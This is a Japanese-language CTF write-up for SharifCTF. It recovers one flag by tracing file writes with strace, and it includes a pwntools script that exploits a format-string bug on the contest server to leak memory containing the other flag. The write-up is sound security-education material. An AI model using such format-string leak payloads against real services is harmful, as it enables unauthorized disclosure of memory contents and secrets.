SharifCTF WriteUP
はじめに
12月17~18日に開催されたSharifCTFに参加しました。その中で解けた問題のWriteUPを書きます。
解けた問題
・Guess (pwn 50point)
・Getit (rev 50)
Getit
ファイルをダウンロードし、gdbpedaにかけると/tmp/flag.txtを作って書き込んでいることがわかります。そこで、ブレークポイントを使ってプログラムを止めてファイルを開きますが「*******************************************」としか書かれてません。
次にStraceにかけると、以下のようにファイルへ1文字書き込んだあと*で上書きしていることがわかります。
write(3, "*******************************************\n", 44) = 44 lseek(3, 30, SEEK_SET) = 30 write(3, "5", 1) = 1 lseek(3, 0, SEEK_SET) = 0 write(3, "*******************************************\n", 44) = 44 lseek(3, 24, SEEK_SET) = 24 write(3, "a", 1) = 1 lseek(3, 0, SEEK_SET) = 0
lseek関数の第一引数が何番目に書き込むか、 Write関数の第2引数が書き込み文字なので、あとは地道に繋げればフラグをゲットできました。
SharifCTF{b70c59275fcfa8aebf2d5911223c6589}
Guess
NCコマンドでアクセスすると、入力した文字がそのまま表示されます。そこで、フォーマットストリングを試しに入力してみるとメモリの中身が表示されました。
$ nc ctf.sharif.edu 54517 %08x Hidden string is at somewhere. 2c9f6323
ここまでは早かったのですが、いつも通り%08xでメモリを出力しアスキーコードにしてもフラグは出て来ませんでした。どうやら原因は%08xだとメモリの中身を32ビット分しか出力されないためのようです。かわりに%pを使うと64bit分で出力してくれました。ちなみにメモリの中身をアスキーに変換するのはプログラムを書きました。(コードが汚いのがご容赦ください。)
from pwn import* r = remote('ctf.sharif.edu', 54517) format_string= "%p,"*200 +"%p\n" r.send(format_string) byte_code = r.readall(0.9) msg = byte_code.decode('utf-8') msg = msg.replace('\n','') ch_list = msg.split(',') list_16w = [] for i in ch_list: if i[0:2] == "0x": x = "0"*(16-len(i[2:])) + i[2:] list_16w.append(x) for i in list_16w: line = "" for j in range(0,len(i)-1,2): ch_hex = "0x" + i[j] + i[j+1] if str.isalnum(chr(int(ch_hex,16))): line = line + chr(int(ch_hex,16)) elif(chr(int(ch_hex,16))=="{" or chr(int(ch_hex,16)) =="}"): line = line + chr(int(ch_hex,16)) print(line)
出力された文字を見ていくと以下のような文字列があります。
TCfirahS 824d5a{F b7ccc236 a6c753df 5a87a821 }c8
これを並び替えるとフラグになります。(メモリの中身はリトルエンディアンなので、右から左に読みます。)
SharifCTF{a5d428632ccc7bfd357c6a128a78a58c}
感想
本大会では、pwn50,pwn150,pwn200と3問もフォーマットストリングが出題されたので、もうフォーマットストリングはお腹一杯です。次はバッファオーバーフローの問題が解きたいです。